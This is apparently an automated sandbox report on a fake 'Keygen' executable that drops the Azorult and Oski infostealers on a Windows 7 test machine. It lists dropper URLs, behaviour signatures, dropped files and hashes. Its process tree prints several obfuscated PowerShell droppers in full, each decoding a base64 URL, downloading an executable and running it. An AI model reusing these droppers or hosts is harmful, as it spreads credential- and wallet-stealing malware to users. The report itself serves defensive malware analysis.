Resubmissions
02-10-2020 21:14
201002-pjxdl9y6a6 1001-10-2020 20:51
201001-e45lwcxsnn 1001-10-2020 20:51
201001-fhxddb9gwe 1001-10-2020 20:51
201001-ts8hns28ea 1001-10-2020 20:51
201001-v1kt3kgljx 1001-10-2020 20:51
201001-d2fbtjzv4s 1001-10-2020 20:51
201001-cgj9prs442 1001-10-2020 20:49
201001-t1jnpvwcgx 10Analysis
-
max time kernel
139s -
max time network
153s -
platform
windows7_x64 -
resource
win7 -
submitted
02-10-2020 21:14
General
-
Target
201001-nyhbt4p25j_pw_infected/Keygen — копия (66) — копия.exe
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
ps1.dropper
http://zxvbcrt.ug/zxcvb.exe
exe.dropper
http://zxvbcrt.ug/zxcvb.exe
Extracted
Language
ps1
Source
URLs
ps1.dropper
http://bit.do/fqhHT
exe.dropper
http://bit.do/fqhHT
Extracted
Language
ps1
Source
URLs
ps1.dropper
http://bit.do/fqhJv
exe.dropper
http://bit.do/fqhJv
Extracted
Language
ps1
Source
URLs
ps1.dropper
http://pdshcjvnv.ug/zxcvb.exe
exe.dropper
http://pdshcjvnv.ug/zxcvb.exe
Extracted
Language
ps1
Source
URLs
ps1.dropper
http://bit.do/fqhJD
exe.dropper
http://bit.do/fqhJD
Extracted
Language
ps1
Source
URLs
ps1.dropper
http://rbcxvnb.ug/zxcvb.exe
exe.dropper
http://rbcxvnb.ug/zxcvb.exe
Signatures
-
Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
-
Oski
Oski is an infostealer targeting browser data, crypto wallets.
-
Blocklisted process makes network request 6 IoCs
-
Downloads MZ/PE file
-
Executes dropped EXE 19 IoCs
-
Loads dropped DLL 44 IoCs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Suspicious use of SetThreadContext 9 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 3 IoCs
-
Checks processor information in registry 2 TTPs 1 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Delays execution with timeout.exe 2 IoCs
-
Kills process with taskkill 1 IoCs
-
Modifies Internet Explorer settings 1 TTPs 5 IoCs
-
Modifies system certificate store 2 TTPs 2 IoCs
-
Suspicious behavior: EnumeratesProcesses 30 IoCs
-
Suspicious behavior: MapViewOfSection 6 IoCs
-
Suspicious use of AdjustPrivilegeToken 13 IoCs
-
Suspicious use of SetWindowsHookEx 7 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (66) — копия.exe"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (66) — копия.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\4E9D.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (66) — ?????.exe""2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\4E9D.tmp\Keygen.exeKeygen.exe3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\4E9D.tmp\m.hta"3⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Public\rvm.exe"C:\Users\Public\rvm.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /pid 1460 & erase C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe & RD /S /Q C:\\ProgramData\\629714569818472\\* & exit8⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /pid 14609⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"7⤵
- Executes dropped EXE
-
C:\Users\Public\rvm.exe"C:\Users\Public\rvm.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\4E9D.tmp\m1.hta"3⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\timeout.exetimeout 13⤵
- Delays execution with timeout.exe
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\4E9D.tmp\b.hta"3⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Public\pmo.exe"C:\Users\Public\pmo.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Rarujmxnv.vbs"6⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe"C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe"7⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Coctuoidu.vbs"8⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe"C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe"9⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe"C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe"10⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe"C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe"8⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1036 -s 7849⤵
- Loads dropped DLL
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Public\pmo.exe"C:\Users\Public\pmo.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\4E9D.tmp\b1.hta"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\timeout.exetimeout 23⤵
- Delays execution with timeout.exe
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\4E9D.tmp\ba.hta"3⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Public\snd.exe"C:\Users\Public\snd.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"7⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3056 -s 7768⤵
- Loads dropped DLL
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"7⤵
- Executes dropped EXE
-
C:\Users\Public\snd.exe"C:\Users\Public\snd.exe"6⤵
- Executes dropped EXE
- Modifies system certificate store
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2964 -s 8967⤵
- Loads dropped DLL
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\4E9D.tmp\ba1.hta"3⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\ProgramData\freebl3.dll
-
C:\ProgramData\freebl3.dll
-
C:\ProgramData\mozglue.dll
-
C:\ProgramData\mozglue.dll
-
C:\ProgramData\softokn3.dll
-
C:\ProgramData\sqlite3.dll
-
C:\ProgramData\sqlite3.dll
-
C:\ProgramData\vcruntime140.dll
-
C:\ProgramData\vcruntime140.dll
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_231c2208-0720-4eec-b9f1-8bba11abd9fa
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_235184f8-dcca-4459-ace7-181c154dff79
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_235184f8-dcca-4459-ace7-181c154dff79
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_235184f8-dcca-4459-ace7-181c154dff79
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_235184f8-dcca-4459-ace7-181c154dff79
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_235184f8-dcca-4459-ace7-181c154dff79
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_57c6647c-75fc-47bb-8ce4-3b8f0921c533
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6d5fa298-996f-4fc9-9c01-b2226cbdaeba
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7d6878ec-2a8b-418c-8f2b-b6fcd4b50cf8
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_8c6b1066-7fd6-4976-8f3d-69cd2004acdc
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b8e81e36-4cdc-4a92-a194-88a8bf175b72
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_de4eedb8-4762-4c56-b80c-203df3aa6fa8
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e43ce3f6-b60d-4b70-bed1-86e53bf07360
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fabbb9cf-9b8c-4b2f-b33d-0de7a9a3a10e
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
-
C:\Users\Admin\AppData\Local\Temp\4E9D.tmp\Keygen.exe
-
C:\Users\Admin\AppData\Local\Temp\4E9D.tmp\Keygen.exe
-
C:\Users\Admin\AppData\Local\Temp\4E9D.tmp\b.hta
-
C:\Users\Admin\AppData\Local\Temp\4E9D.tmp\b1.hta
-
C:\Users\Admin\AppData\Local\Temp\4E9D.tmp\ba.hta
-
C:\Users\Admin\AppData\Local\Temp\4E9D.tmp\ba1.hta
-
C:\Users\Admin\AppData\Local\Temp\4E9D.tmp\m.hta
-
C:\Users\Admin\AppData\Local\Temp\4E9D.tmp\m1.hta
-
C:\Users\Admin\AppData\Local\Temp\4E9D.tmp\start.bat
-
C:\Users\Admin\AppData\Local\Temp\Coctuoidu.vbs
-
C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
-
C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
-
C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
-
C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
-
C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
-
C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
-
C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
-
C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
-
C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
-
C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
-
C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
-
C:\Users\Admin\AppData\Local\Temp\Rarujmxnv.vbs
-
C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe
-
C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe
-
C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe
-
C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe
-
C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe
-
C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
-
C:\Users\Public\pmo.exe
-
C:\Users\Public\pmo.exe
-
C:\Users\Public\pmo.exe
-
C:\Users\Public\rvm.exe
-
C:\Users\Public\rvm.exe
-
C:\Users\Public\rvm.exe
-
C:\Users\Public\snd.exe
-
C:\Users\Public\snd.exe
-
C:\Users\Public\snd.exe
-
\ProgramData\mozglue.dll
-
\ProgramData\msvcp140.dll
-
\ProgramData\nss3.dllMD5
bfac4e3c5908856ba17d41edcd455a51
SHA18eec7e888767aa9e4cca8ff246eb2aacb9170428
SHA256e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78
